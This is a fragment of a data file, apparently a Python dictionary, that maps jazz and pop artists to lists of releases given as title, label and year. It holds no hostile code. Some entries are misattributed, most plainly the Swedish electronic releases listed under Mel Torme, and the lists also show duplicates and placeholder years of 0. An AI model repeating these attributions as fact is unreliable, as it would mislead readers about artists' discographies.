(3)--1987'),'\\\nBobby Hutcherson':('\\\nDialogue--Blue Note--1965','\\\nComponents--Blue Note--1965','\\\nHappenings--Blue Note--1966','\\\nNew View!--Columbia--1967','\\\nStick-Up!--Blue Note--1968','\\\nTotal Eclipse--Blue Note--1968','\\\nNow!--Blue Note--1970','\\\nUmmh--Blue Note--1970','\\\nHead On--Blue Note--1971','\\\nSan Francisco--Blue Note--1971','\\\nNatural Illusions--Blue Note--1972','\\\nWhen You\\'re Near/Rain Every Thursday--Blue Note--1972','\\\nLive At The Festival--Enja Records--1973','\\\nJazz--Mainstream Records--1974','\\\nCirrus--Blue Note--1974','\\\nLive At Montreux--Blue Note--1974','\\\nMontara--Blue Note--1975','\\\nLinger Lane--Blue Note--1975','\\\nProcession--UpFront Records (3)--1976','\\\nWaiting--Blue Note--1976','\\\nThe View From The Inside--Blue Note--1977','\\\nKnucklebean--Blue Note--1977','\\\nHighway One--Columbia--1978','\\\nConception: The Gift Of Love--Columbia--1979','\\\nSpiral--Blue Note--1979','\\\nOblique--Blue Note--1979','\\\nPatterns--Blue Note--1980','\\\nUn Poco Loco--Columbia--1980','\\\nMedina--Blue Note--1980','\\\nSolo / Quartet--Contemporary Records--1982','\\\nNice Groove--Baystate--1984','\\\nFour Seasons--Timeless Records (3)--1985','\\\nGood Bait--Landmark Records (3)--1985','\\\nOne Night With Blue Note, Volume 1--Blue Note--1985','\\\nColor Schemes--Landmark Records (3)--1986','\\\nIn The Vanguard--Landmark Records (3)--1987','\\\nFarewell Keystone--Theresa Records--1988','\\\nSasha Bossa--Quartet Records (2)--1988','\\\nCruisin\\' The \\'Bird--Landmark Records (3)--1988','\\\nDance Of The Sun--Timeless Muse--1978','\\\nAmbos Mundos--Landmark Records (3)--1989','\\\nMirage--Landmark Records (3)--1991','\\\nManhattan Moods--Blue Note--1994'),'\\\nCal Tjader':('\\\nLove Me Or Leave Me--Savoy Records--1953','\\\nVibist--Quality Records Limited--1954','\\\nTjader Plays Mambo--Fantasy--1956','\\\nVib-Rations--Savoy Records--1956','\\\nLatin Kick--Fantasy--1956','\\\nMás Ritmo Caliente--Fantasy--1958','\\\nGinza Samba / For All We Know--Fantasy--1958','\\\nSan Francisco Moods--Fantasy--1958','\\\nLatin Kick--Fantasy--1958','\\\nLatin For Lovers--Fantasy--1959','\\\nCal Tjader\\'s Latin Concert--Fantasy--1959','\\\nWest Side Story--Fantasy--1960','\\\nDemasiado Caliente--Fantasy--1960','\\\nIn A Latin Bag--Verve Records--1961','\\\nDave Brubeck Quartet, Paul Desmond Quartet, Cal Tjader--Crown Records (2)--1961','\\\nPlays Harold Arlen--Fantasy--1961','\\\nLatino Con Cal Tjader--Fantasy--1962','\\\nDave Brubeck Trio--Fantasy--1956','\\\nCal Tjader-Plays Mary Stallings-Sings--Fantasy--1962','\\\nJazz All Stars--Modern Records (2)--0','\\\nPlays The Contemporary Music Of Mexico And Brazil--Verve Records--1962','\\\nTime For 2--Verve Records--1962','\\\nSoña Libré--Verve Records--1963','\\\nBreeze From The East--Verve Records--1964','\\\nSeveral Shades Of Jade--Verve Records--1963','\\\nChina Nights / The Fakir--Verve Records--1963','\\\nSake And Greens / Shoji--Verve Records--1963','\\\nWarm Wave--Verve Records--1964','\\\nSoul Sauce / Shoji--Verve Records--1964','\\\nCal Tjader\\'s Greatest Hits--Fantasy--1966','\\\nSoul Sauce (Gaucha Guaro)--Verve Records--1965','\\\nSoul Bird (Tin Tin Dao)--Verve Records--1965','\\\nDoxie / Mamblues--Fantasy--1965','\\\nSoul Bird: Whiffenpoof--Verve Records--1965','\\\nSoul Sauce--Verve Records--1965','\\\nCal Tjader\\'s Greatest Hits - Volume Two--Fantasy--1966','\\\nCuchy Frito Man / Soul Burst--Verve Records--1966','\\\nSoul Burst--Verve Records--1966','\\\nGuajira En Azul--Verve Records--1966','\\\nEl Sonido Nuevo--Verve Records--1966','\\\nBamboleate--Tico Records--1967'),'\\\nTerry Gibbs':('\\\nSwinging For The King - An Album Of Jazz Greats--Mercury--1952','\\\nTerry--Brunswick--1955','\\\nTerry Gibbs--EmArcy--1955','\\\nHi-Fi Jazz--Brunswick--1955','\\\nMallets-A-Plenty--EmArcy--1956','\\\nVibes On Velvet--EmArcy--1956','\\\nTerry Gibbs Plays The Duke--Mercury--1957','\\\nSeven Come Eleven / Imagination - Vol. 1--EmArcy--1957','\\\nA Jazz Band Ball (Second Set)--Mode Records--1957','\\\nThe Ex-Hermanites--Mode Records--1957','\\\nTerry Gibbs, Captain--Mercury--1958','\\\nNewport \\'58--Mercury--1959','\\\nMore Vibes On Velvet--Mercury--1959','\\\nTerry Gibbs Plays The Duke--Emarcy--1958','\\\nViberations--Interlude (2)--1959','\\\nAt The Piano--Fresh Sound Records--1987','\\\nPick N\\' Pat--Premier (7)--1963','\\\nEarly Stan--Prestige--1963','\\\nHootenanny My Way--Time Records (3)--0','\\\nPlays Jewish Melodies In Jazztime--Mercury--1963','\\\nEl Nutto--Limelight--1964','\\\nEl Latino--Royal Roost--1964','\\\nIt\\'s Time We Met Terry Gibbs--Mainstream Records--1965','\\\nTerry Gibbs Plays Reza--Dot Records--1966','\\\nTerry Gibbs, Sal Nestico, Nat Pierce, Jake Hanna, Turk Van Lake, Charlie Andrus--Time Records (3)--0','\\\nSessions, Live--Calliope (3)--1976','\\\nBebop Revisited, Vol. 2--Xanadu Records--1977','\\\nThe Family Album--Jazz Legacy--1978','\\\nJazz Party - First Time Together--Palo Alto Jazz Records--1981','\\\nNow\\'s The Time--Tall Tree Records--1984','\\\nDream Band--Contemporary Records--1986','\\\nThe Latin Connection--Contemporary Records--1986','\\\nChicago Fire--Contemporary Records--1987','\\\nBopstacle Course--Xanadu Records--1989','\\\nGood Vibes--Savoy Jazz--1989','\\\nAir Mail Special--Contemporary Records--1990'),'\\\nDave Pike':('\\\nIt\\'s Time For Dave Pike--Riverside Records--1961','\\\nLa Bamba--Prestige--1962','\\\nLimbo Carnival--New Jazz--1962','\\\nBossa Nova Carnival--New Jazz--1962','\\\nAs Long As He Needs Me--Prestige--1963','\\\nPlays The Jazz Version Of Oliver!--Moodsville--1963','\\\nYou\\'ve Got Your Troubles / Jet Set--Atlantic--1966','\\\nJazz For The Jet Set--Atlantic--1966','\\\nSunny / Sweet Tater Pie--Atlantic--1966','\\\nDoors Of Perception--Vortex Records (2)--1970','\\\nTimes Out Of Mind--Muse Records--1976','\\\nOn A Gentle Note--Muse Records--1978','\\\nLet The Minstrels Play On--Muse Records--1980','\\\nMoon Bird--Muse Records--1983','\\\nPike\\'s Groove--Criss Cross Jazz--1986','\\\nPike\\'s Peak--Epic--1962','\\\nBluebird--Timeless Records (3)--1991','\\\nCarnavals--Prestige--2000','\\\nThe New Latinaires #9--Ubiquity--2000','\\\nPeligroso--CuBop--2000','\\\nGot The Feelin\\'--Relax (2)--1969','\\\nSolemn Meditation--GNP--1957','\\\nPike\\'s Peak--Epic--1962','\\\nThe Compositions Of Tadd Dameron--Riverside Records--1962','\\\nBrazil, Bossa Nova & Blues--United Artists Jazz--1962','\\\nHerbie Mann Returns To The Village Gate--Atlantic--1963','\\\nHigh Life!--Columbia--1963','\\\nLive At Newport--Atlantic--1963','\\\nManhattan Latin (The Sensous Rhythms Of Spanish Harlem)--Decca--1964','\\\nMy Kinda Groove--Atlantic--1965','\\\nLatin Mann (Afro To Bossa To Blues)--Columbia--1965','\\\nStanding Ovation At Newport--Atlantic--1965','\\\nThe Roar Of The Greasepaint- The Smell Of The Crowd--Atlantic--1965','\\\nMonday Night At The Village Gate--Atlantic--1966','\\\nToday!--Atlantic--1966','\\\nThe Beat Goes On--Atlantic--1967','\\\nAll Smiles--MPS Records--1969'),'\\\nJoe Venuti':('\\\nThere\\'ll Be Some Changes Made / Syncopated Melody Man--Parlophone--1928','\\\nSummertime--Parlophone--0','\\\nThe Worlds Greatest Jazz Violinest And His Fiddle On Fire--Grand Award Records--1955','\\\nFiddle On Fire--Grand Award Records--1956','\\\nPopi / Little Green Apples--Ovation Records--1970','\\\nVenupelli Blues--BYG Records--1970','\\\nVenuti-Lang (1927-8)--Parlophone--1970','\\\nJoe Venuti In Milan With Lino Patruno & His Friends--Durium--1971','\\\n...The Daddy Of The Violin--MPS Records--1973','\\\nThe Dutch Swing College Band Meets Joe Venuti--DSC Production--0','\\\nViolinology--Jump Records (15)--1974','\\\nJoe & Zoot--Chiaroscuro Records--1974','\\\nWelcome Joe!--Durium--1974','\\\nJoe Venuti And Zoot Sims--Chiaroscuro Records--1975','\\\nGems--Concord Jazz--1975','\\\nStringing The Blues Vol. I / Vol. II--Columbia--1962','\\\nHot Sonatas--Chiaroscuro Records--1976','\\\nSliding By--Sonet--1977','\\\nLive At The Concord Summer Festival--Concord Jazz--1977','\\\nAlone At The Palace--Chiaroscuro Records--1977','\\\nLive At Concord \\'77--Concord Jazz--1978'),'\\\nStuff Smith':('\\\nStuff Smith--Verve Records--1957','\\\nDizzy Gillespie And Stuff Smith--Verve Records--1957','\\\nHave Violin, Will Swing--Verve Records--1958','\\\nCat On A Hot Fiddle--Verve Records--1960','\\\nTogether!--Epic--1963','\\\nStuff And Steff--Barclay--0','\\\nBlack Violin--SABA--1967','\\\nViolin-Summit--SABA--1967','\\\nDreams Come True--Saturn Records (22)--1973','\\\nI Giganti Del Jazz Vol. 17--Curcio--0','\\\nI Giganti Del Jazz Vol. 90--Curcio--0','\\\nViolins No End--Pablo Records--1984','\\\nThe 1943 Trio--Circle--1988','\\\nLive In Paris, 1965--no label--1988','\\\nAfter Midnight--Capitol Records--1956','\\\nAfter You\\'ve Gone / You\\'se A Viper--Vocalion (2)--1936'),'\\\nRay Nance':('\\\nEllingtonia--Wynne--1959','\\\nSpellbound--Status Records (2)--1964','\\\nBody And Soul--Solid State Records (2)--1970','\\\nJust A-Sittin And A-Rockin--Black Lion Records--1973','\\\nHuffin\\'N\\'Puffin\\'--MPS Records--1974','\\\nVillage Vanguard Live Sessions 1--Lester Recording Catalog--1990','\\\nBlue Serge / Jumpin\\' Punkins--Victor--1941','\\\nLament For Javanette / Ready Eddy--Bluebird (3)--1941','\\\nHayfoot, Strawfoot / Sherman Shuffle--Victor--1942','\\\nA Slip Of The Lip / Sentimental Lady--Victor--1943','\\\nRocks In My Bed / Bli-Blip--Victor--1943','\\\nI Like It, \\'Cause I Love It / You Gotta Take Your Time--Beacon--1944','\\\nPassion Flower / Going Out The Back Way--Bluebird (3)--1944','\\\n\\'Tain\\'t Yours / Without You Baby--Beacon--1944','\\\nPack Up Your Troubles In Your Old Kit Bag / It Don\\'t Mean A Thing If It Ain\\'t Got That Swing--V Disc--1945\\:(All Of A Sudden) My Heart Sings / Carnegie Blues--Victor--1945','\\\nRiff Staccato / Time\\'s A-Wastin\\'--no label--1946','\\\nJust Squeeze Me (But Don\\'t Tease Me) / Swamp Fire--RCA Victor--1946','\\\nTulip Or Turnip (Tell Me, Dream Face) / Flippant Flurry--Parlophone--0','\\\nDuke Ellington Plays The Blues--RCA Victor--1947','\\\nPut Yourself In My Place, Baby / The Wildest Gal In Town--Columbia--1947','\\\nDon\\'t Be So Mean To Baby (Cause Baby\\'s So Good To You) / It\\'s Mad, Mad, Mad!--Columbia--1948','\\\nMood Ellington--Columbia--1949','\\\nDuke Ellington\\'s Liberian Suite--Columbia--1949','\\\nEllington Uptown--Columbia--1951','\\\nMasterpieces By Ellington--Columbia Masterworks--1951','\\\nPerdido / Take The A Train--Columbia--1952','\\\nJohnny Hodges And His Alto Sax--RCA Victor--1952','\\\nDuke Ellington\\'s Greatest--RCA Victor--1954','\\\nThe Vulture Song / Rock-Skippin\\' At The Blue Note--Philips--0'),'\\\nJean-Luc Ponty':('\\\nJazz Long Playing--Philips--1964','\\\nŒil Vision--Compagnie Européenne Du Disque--1964','\\\nViolin-Summit--SABA--1967','\\\nSunday Walk--SABA--1967','\\\nMore Than Meets The Ear--World Pacific Jazz--1968','\\\nElectric Connection--World Pacific Jazz--1969','\\\nThe Jean-Luc Ponty Experience With The George Duke Trio--World Pacific Jazz--1969','\\\nKing Kong: Jean-Luc Ponty Plays The Music Of Frank Zappa--World Pacific Jazz--1970','\\\nAstrorama--Liberty--1970','\\\nNew Violin Summit--MPS Records--1971','\\\nOpen Strings--MPS Records--1972','\\\nPonty - Grappelli--America Records--1973','\\\nLive At Montreux 72--Les Disques Pierre Cardin--1972','\\\nAria--Harvest--1972','\\\nJean-Luc Ponty Meets Giorgio Gaslini--Produttori Associati--1974','\\\nUpon The Wings Of Music--Atlantic--1975','\\\nAnthology Jef Gilson 1945/1975 : The Beginning Of Jean-Luc Ponty--Palm--1975','\\\nNew Country --Atlantic--1977','\\\nJean-Luc Ponty--Liberty--1976','\\\nAurora--Atlantic--1976','\\\nImaginary Voyage--Atlantic--1976','\\\nCanteloupe Island--Blue Note--1976','\\\nEnigmatic Ocean--Atlantic--1977','\\\nLa Sorcellerie A Travers Les Ages / Gravenstein--Communication--1977','\\\nCosmic Messenger--Atlantic--1978','\\\nCosmic Messenger--Atlantic--1978','\\\nLive At Donte\\'s--Blue Note--1981','\\\nA Taste For Passion--Atlantic--1979','\\\nLive--Atlantic--1979','\\\nBeach Girl / Sunset Drive--Atlantic--1979','\\\nCivilized Evil--Atlantic--1980','\\\nGiants--MPS Records--1981','\\\nAs--Atlantic--1982','\\\nMystical Adventures--Atlantic--1982','\\\nFar From The Beaten Paths--Atlantic--1983','\\\nIndividual Choice--Atlantic--1983','\\\nOpen Mind--Atlantic--1984'),'\\\nStéphane Grappelli':('\\\nDinah / Lady Be Good--Ultraphone U--1934','\\\nSwanee River / Blue Drag--Ultraphone U--1935','\\\nPlease Be Kind / Louise--Decca--1938','\\\nThree Little Words / Appel Indirect--Decca--1938','\\\nHoneysuckle Rose/ Souvenirs--Decca--1938','\\\nThe Quintet Of The Hot Club Of France - Volume 2--Decca--1943','\\\nSwing From Paris--Decca--1953','\\\nImprovisations--Barclay--1957','\\\nDinah--no label--0','\\\nDjangology--RCA Victor--1961','\\\nDjango Et Stéphane - 14 Enregistrements Inédits--La Voix De Son Maître--0','\\\nL\\'Inoubliable--Disques Vogue--1962','\\\nDjango --Barclay--1962','\\\nStéphane Grappelly Plays George Gershwin--Eros--1962'),'\\\nMichael White':('\\\nBe With You--Strictly Rhythm--1998','\\\nI Hear Music--Reverb Records--2000','\\\nBaby Gets Hi--Playola--2000','\\\nTime--Mushroom--1997','\\\nBe With You--Strictly Rhythm--1998','\\\nI Hear Music--Reverb Records--2000','\\\nKremlin - On The Top Of The World--Enter Records--1999','\\\nBaby Gets Hi--Playola--2000','\\\nNice \\'n\\' Urlich 2--Huh Records--2001','\\\nShe--Focus Recordings--2001','\\\nTribal Seduction--Sondos--2002','\\\nTouch The Sky (The Vocal Mixes)--Sondos--2003','\\\nSubliminal Winter Sessions--Subliminal--2003','\\\nHome Again--Elektra--1982','\\\nGroove Tonight--Perfect Havoc--2019','\\\nKremlin - On The Top Of The World--Enter Records--1999','\\\nHouse Experience 3 By Vassili Tsilichristos--DR Recordings--1999','\\\nNice \\'n\\' Urlich 2--Huh Records--2001','\\\nJust Like...Rock Legends Playing The Songs Of Led Zeppelin--LaserLight Digital--2008','\\\nTribal Seduction--Sondos--2002'),'\\\nJerry Goodman':('\\\nLike Children--Nemperor Records--1974','\\\nOn The Future Of Aviation--Private Music--1985','\\\nAriel--Private Music--1986','\\\nIt\\'s Alive--Private Music--1988','\\\nThe Stranger’s Hand--Tone Center--1999','\\\nViolin Fantasy--Purple Pyramid--2016','\\\nThe Early Years--Epic--0','\\\nThe Flock--Columbia--1969','\\\nDinosaur Swamps--Columbia--1970','\\\nPeace & Quiet--Kinetic (2)--1971','\\\nThe Inner Mounting Flame--Columbia--1971','\\\nMy Goal\\'s Beyond--Douglas--1971','\\\nThe Flock--CBS--0','\\\nBirds Of Fire--Columbia--1973','\\\nBetween Nothingness & Eternity--Columbia--1973','\\\nRock \\'N\\' Jazz - A Fusion--Atlantic--1975','\\\n50 Years Of Jazz Guitar--Columbia--1976','\\\nOh, Yeah?--Nemperor Records--1976','\\\nLive--Epic--1977','\\\nBig City--Nemperor Records--1977','\\\nElectric Guitarist--Columbia--1978','\\\nCheckin\\' In--Columbia--1978','\\\nThe Mahavishnu Orchestra - John McLaughlin--AMIGA--1979','\\\nBlast--Columbia--1979','\\\nSave Tonight For Me--CBS--1986','\\\nThe Early Years--Epic--0','\\\nTigers Are Brave--Private Music--1986','\\\nOoh Yeah!--Arista--1988','\\\nOut On A Day Pass--Full Blast Records (2)--1988','\\\nTour De France - The Early Years--Private Music--1990','\\\nZephyr--GRP--1991','\\\nGypsy Moon--EastWest Records America--1991','\\\nNo Borders--GRP--1992','\\\nRacine--Aquarius Records (3)--1992','\\\nThe Journey--Columbia--1993','\\\nFlock Rock - The Best Of The Flock--Legacy--1993','\\\nPaid Vacation--Capitol Records--1993','\\\nBest Of New Age--BMG--1994','\\\nEast Coast West Coast--Private Music--1994','\\\nFull Circle--Capricorn Records--1994'),'\\\nJohn Blake':('\\\nYes, I Believe--Heartland Records (2)--1982','\\\nMaiden Dance--Gramavision--1984','\\\nTwinkling Of An Eye--Gramavision--1985','\\\nRhythm & BLU--Gramavision--1986','\\\nAdventures Of The Heart--Gramavision--1987','\\\nA New Beginning--Gramavision--1988','\\\nBrother\\'s Keeper--Intima Records--1986','\\\nIrrepressible Impulses--Impulse!--1972','\\\nAttica Blues--Impulse!--1972','\\\nThe Cry Of My People--Impulse!--1973','\\\nChildren Of The Fire--Sunrise Records (3)--1974','\\\nUnity--Muse Records--1974','\\\nLet This Melody Ring On--Muse Records--1975','\\\nYou Are My Starship--Buddah Records--1976','\\\nA Tear And A Smile--Muse Records--1976','\\\nSummer Song--Kudu--1977','\\\nSummer Song / Juffure--Kudu--1977','\\\nLive At The Bijou--Kudu--1977','\\\nReed Seed--Motown--1978','\\\nDamon--Fantasy WMOT Records--1978','\\\nDo Dat / Reed Seed (Trio Tune)--Motown--1978','\\\nParadise--Elektra--1979','\\\nClassic I-Live--John Minnis Records--1979','\\\nHorizon--Milestone (4)--1980','\\\nUnlock The Funk--Arista--1980','\\\nDreams Come True--Buddah Records--1980','\\\nAfrican Suite--MCA Records--1980','\\\nBaddest--Motown--1980','\\\nI\\'m Coming Home Again--Buddah Records--1980','\\\nUnlock The Funk--Arista--1980','\\\nAnthology--Motown--1981','\\\nLa Leyenda De La Hora (The Legend Of The Hour)--Columbia--1981','\\\nAsphalt Gardens--Palo Alto Jazz--1982','\\\nThe Best Performance--Better Days (2)--1982','\\\nThe New York Montreux Connection \\'81--Columbia--1982','\\\nJames Newton--Gramavision--1983','\\\nGreatest Performances--Motown--1983','\\\nYoung Lions, The - A Concert Of New Music Played By Seventeen Exceptional Young Musicians - The Kool Jazz Festival June 30, 1982--Elektra Musician--1983','\\\nRe:Source, Masters From Gramavision--Gramavision--1983','\\\nLuella--Gramavision--1984','\\\nDimensions--Elektra Musician--1984'),'\\\nRandy Sabien':('\\\nJim Post & Friends--Flying Fish (2)--1987','\\\nCrossing The Tracks--Rounder Records--1979','\\\nNo Frets Barred--Flying Fish (2)--1982','\\\nIn The Dark With You--Red House Records--1985','\\\nJim Post & Friends--Flying Fish (2)--1987','\\\nAn Evening In Austin--Rhino Records (2)--1989','\\\nArthur\\'s Perfect Christmas--Rounder Kids--2000','\\\nCorky Siegel\\'s Traveling Chamber Blues Show!--Alligator Records--2005'),'\\\nJon Lucien':('\\\nWhat A Difference Love Makes / L.A. (Los Angeles)--Columbia--1967','\\\nI Am Now--RCA Victor--1970','\\\nSearch For The Inner Self --Ampex Records--1971','\\\nRashida--RCA--1973','\\\nLady Love--RCA--1973','\\\nMind\\'s Eye--RCA--1974','\\\nCreole Lady / Motherland--Columbia--1975','\\\nSong For My Lady--Columbia--1975','\\\nPremonition--Columbia--1976','\\\nRomantico--Zemajo--1980','\\\nTell Me You Love Me/ How \\'Bout Tonight--Zemajo--1982','\\\nSweet Control--PolyGram--1991','\\\nListen Love--Mercury--1991','\\\nMother Nature\\'s Son--Mercury--1993','\\\nEasy Living--Wiiija Records--1999','\\\nMorning Sun--Nuphonic--2001','\\\nSatan--Cadet--1974','\\\nIn A Soulful Mood--United Artists Records--1974','\\\nLive On Tour In Europe--Atlantic--1976','\\\nYesterday\\'s Dreams--Epic--1976','\\\nSoul Mate--Private Stock--1977','\\\nMr. Gone--ARC (3)--1978'),'\\\nRoy Kral':('\\\nOne More Rose - A Tribute To Alan Jay Lerner--Audiophile (2)--1987','\\\nIf I Had You / Euphoria--no label--1948','\\\nEast of Suez/I\\'m Forever Blowing Bubbles--Decca--1949','\\\nGene Norman Presents A Charlie Ventura Concert--Decca--1953','\\\nF.Y.I.--EmArcy--1954','\\\nIn Concert--Gene Norman Presents--1954','\\\nTurnpike / They Can\\'t Take That Away From Me--Coral--1954','\\\nIt\\'s All Bop To Me--RCA Victor--1955','\\\nJumping With Ventura--EmArcy--1955','\\\nIt\\'s All Bop To Me--RCA Victor--1955','\\\nAnita O\\'Day Sings Jazz--Norgran Records--1955','\\\nStoryville Presents Jackie And Roy--Storyville (3)--1955','\\\nStoryville Presents Jackie And Roy--Storyville (3)--1955','\\\nSing! Baby Sing!--Storyville (3)--1956','\\\nThe Glory Of Love--ABC-Paramount--1956','\\\nJazz Classics By Charlie Ventura\\'s Band--Savoy Records--0','\\\nBits And Pieces--ABC-Paramount--1957','\\\nThe Lady Is A Tramp--Karusell--1958','\\\nFree And Easy!--ABC-Paramount--1958','\\\nDouble Take--Columbia--1961','\\\nRah--Riverside Records--1961','\\\nThe Nitty Gritty Dirt Band--Liberty--1967','\\\nLovesick--Verve Records--1967','\\\nGrass--Capitol Records--1968','\\\nTiffany--Canyon Records (3)--1970','\\\nGiant Box--CTI Records--1973','\\\nA Wilder Alias--CTI Records--1974','\\\nEncyclopedia Of Jazz On Records - Vol. 3 The Forties, Vol. 4 The Fifties--MCA Records--1974','\\\nThe Lady Is A Tramp--Verve Records--1957','\\\nCharlie Ventura And His Band In Concert--GNP Crescendo--1976','\\\nStar Sounds--Concord Jazz--1980','\\\nEast Of Suez--Concord Jazz--1981','\\\nBogie--Fantasy--1986','\\\nOne More Rose - A Tribute To Alan Jay Lerner--Audiophile (2)--1987','\\\nFull Circle--Contemporary Records--1988','\\\nTime & Love--CTI Records--1972','\\\nA Tribute To George Gershwin--CBS--1989'),'\\\nFrank Sinatra':('\\\nI Could Make You Care / The World Is In My Arms--Victor--1940','\\\nNeiani / This Love Of Mine--Victor--1941','\\\nThe Lamplighter\\'s Serenade / The Song Is You--Bluebird (3)--1942','\\\nThe Night We Called It A Day / Night And Day--Bluebird (3)--1942','\\\nSunday, Monday Or Always / If You Please--Columbia--1943','\\\nAll Or Nothing At All--Columbia--1940','\\\nYou\\'ll Never Know / Close To You--Columbia--1943','\\\nSaturday Night / Embraceable You--Columbia--1943','\\\nNight And Day / The Song Is You--V Disc--1943','\\\nPeople Will Say We\\'re In Love / Oh, What A Beautiful Mornin\\'--Columbia--1943','\\\nYou\\'ll Never Know / Sunday, Monday Or Always--Columbia--1943','\\\nMighty Lak\\' A Rose / My Reverie--V Disc--0','\\\nIt\\'s Funny To Everyone But Me / Don\\'t Take Your Love From Me--Columbia--1944','\\\nNight And Day / The Lamplighter\\'s Serenade--RCA Victor--0','\\\nI Couldn\\'t Sleep A Wink Last Night / A Lovely Way To Spend An Evening--Columbia--1944','\\\nI Fall In Love Too Easily / I Begged Her--Columbia--1944','\\\nWhite Christmas / If You Are But A Dream--Columbia--1944'),'\\\nMel Torme':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nLou Rawls':('\\\nKiddio--Shar-Dee--1961','\\\nAbove My Head / Nine-Pound Hammer--Capitol Records--1961','\\\nStormy Monday--Capitol Records--0','\\\nThe Bride (La Novia)--Capitol Records--1962','\\\nBlack And Blue--Capitol Records--1963','\\\nTobacco Road--Capitol Records--1964','\\\nTobacco Road--Capitol Records--1963','\\\nThe House Next Door--Capitol Records--1964','\\\nNobody But Lou--Capitol Records--1965','\\\nThree O\\'Clock In The Morning--Capitol Records--1965','\\\nWhat\\'ll I Do / Can I Please--Capitol Records--1965','\\\nLou Rawls And Strings--Capitol Records--1965','\\\nCarryin\\' On!--Capitol Records--1966','\\\nLive!--Capitol Records--1966','\\\nSoulin\\'--Capitol Records--1966','\\\nA Woman Who\\'s A Woman / You Can Bring Me All Your Heartaches--Capitol Records--1966','\\\nThe Soul-Stirring Gospel Sounds Of The Pilgrim Travelers--Capitol Records--1966','\\\nThe Shadow Of Your Smile / Southside Blues--Capitol Records--1966','\\\nLove Is A Hurtin\\' Thing / Memory Lane--Capitol Records--1966','\\\nToo Much!--Capitol Records--1967','\\\nThat\\'s Lou--Capitol Records--1967','\\\nLittle Drummer Boy / A Child With A Toy--Capitol Records--1978','\\\nShow Business / When Love Goes Wrong--Capitol Records--1967','\\\nDead End Street / Yes It Hurts - Doesn\\'t It--Capitol Records--1967','\\\nYou\\'re Good For Me / Soul Serenade--Capitol Records--1968','\\\nThe Life That I Lead / Trouble Down Here Below--Capitol Records--1967','\\\nHard To Get Thing Called Love--Capitol Records--1967','\\\nMerry Christmas. Ho! Ho! Ho!--Capitol Records--1967','\\\nThe Split / Why Can\\'t I Speak--Capitol Records--1968','\\\nDown Here On The Ground--Capitol Records--1968','\\\nYou\\'re Good For Me--Capitol Records--1968','\\\nCome On In, Mister Blues--Pickwick/33 Records--1968'),'\\\nRay Charles':('\\\nHallelujah I Love Her So / What Would I Do Without You--Atlantic--1956','\\\nI Want To Know / Ain\\'t That Love--Atlantic--1957','\\\nThe Great Ray Charles--Atlantic--1957','\\\nThe Great Ray Charles--Atlantic--1957','\\\nRay Charles--Atlantic--1957','\\\nSoul Brothers--Atlantic--1958','\\\nSoul Brothers--Metronome--1958','\\\nThe Great Ray Charles--Metronome--1958','\\\nRay Charles At Newport--Atlantic--1958','\\\nI Had A Dream / Yes Indeed--Atlantic--1958','\\\nRockhouse--Atlantic--1958','\\\nYou Be My Baby / My Bonnie--Atlantic--1958','\\\nYes Indeed!--Atlantic--1958','\\\nThe Genius Of Ray Charles Vol 1--Atlantic--1959','\\\nThe Genius Of Ray Charles--Atlantic--1959\\:(Night Time Is) The Right Time--Atlantic--1959','\\\nThe Genius Of Ray Charles--Belter--1960','\\\nI\\'m Moving On / I Believe To My Soul--London Records--1959','\\\nCome Rain Or Come Shine / Tell Me You\\'ll Wait For Me--Atlantic--1960','\\\nThat\\'s Enough--Atlantic--1959','\\\nWhat\\'d I Say--Atlantic--1959','\\\nJumpin\\' In The Mornin\\'--Atlantic--1961','\\\nHits--ABC-Paramount--1960','\\\nLet\\'s Go / One Mint Julep--Impulse!--1960','\\\nI Got A Woman / Mess Around--Atlantic--1960','\\\nGeorgia On My Mind--ABC-Paramount--1960','\\\nTell The Truth--London Records--1960','\\\nGeorgia On My Mind--ABC-Paramount--1960','\\\nThe Genius Hits The Road--ABC-Paramount--1960'),'\\\nMose Allison':('\\\nParchman Farm--Prestige--1957','\\\nBack Country Suite For Piano, Bass And Drums--Prestige--1957','\\\nYoung Man Mose--Prestige--1958','\\\nCreek Bank--Prestige--1958','\\\nYoung Man Mose--Metronome--1958','\\\nLocal Color--Prestige--1958','\\\nAutumn Song--Prestige--1959','\\\nThe Seventh Son--Prestige--1959','\\\nTransfiguration Of Hiram Brown--Columbia--1960','\\\nRamblin\\' With Mose--Prestige--1961','\\\nEyesight To The Blind--Prestige--1961','\\\nTakes To The Hills--Epic--1962','\\\nI Don\\'t Worry About A Thing--Atlantic--1962','\\\nSwingin\\' Machine--Atlantic--1962','\\\nYour Mind Is On Vacation --Atlantic--1962','\\\nThe Seventh Son / Parchman Farm--Prestige--1963','\\\nMose Allison Sings--Prestige--1963','\\\nThe Word From Mose--Atlantic--1964','\\\nI Love The Life I Live--Columbia--1964','\\\nWild Man On The Loose--Atlantic--1966','\\\nMose Alive!--Atlantic--1966','\\\nFoolkiller --Atlantic--1966','\\\nPlays For Lovers--Prestige--1966','\\\nDown Home Piano--Prestige--1966','\\\nI\\'ve Been Doin\\' Some Thinkin\\'--Atlantic--1968','\\\n...Hello There, Universe--Atlantic--1970','\\\nThe Best Of Mose Allison--Atlantic--0','\\\nWestern Man--Atlantic--1971','\\\nMose In Your Ear--Atlantic--1972','\\\nMose Allison--Prestige--1972','\\\nCreek Bank--Prestige--1975','\\\nYour Mind Is On Vacation--Atlantic--1976','\\\nMose Allison--Atlantic--1976','\\\nMiddle Class White Boy--Elektra Musician--1982','\\\nLessons In Living--Elektra Musician--1983','\\\nEver Since The World Ended--Blue Note--1987','\\\nGreatest Hits - The Prestige Collection--Original Jazz Classics--1988','\\\nMy Backyard--Blue Note--1990','\\\nPure Mose--Village--1994','\\\nThe Earth Wants You--Blue Note--1994','\\\nHigh Jinks! The Mose Allison Trilogy--Columbia--1994','\\\nTell Me Something - The Songs Of Mose Allison--Verve Records--1996'),'\\\nBilly Eckstine':('\\\nGood Jelly Blues / I Stay In The Mood For You--DeLuxe (2)--1944','\\\nSolitude / I Do - Do You?--National Records (2)--1948','\\\nThis Is The Inside Story / Just An Old Love Of Mine--MGM 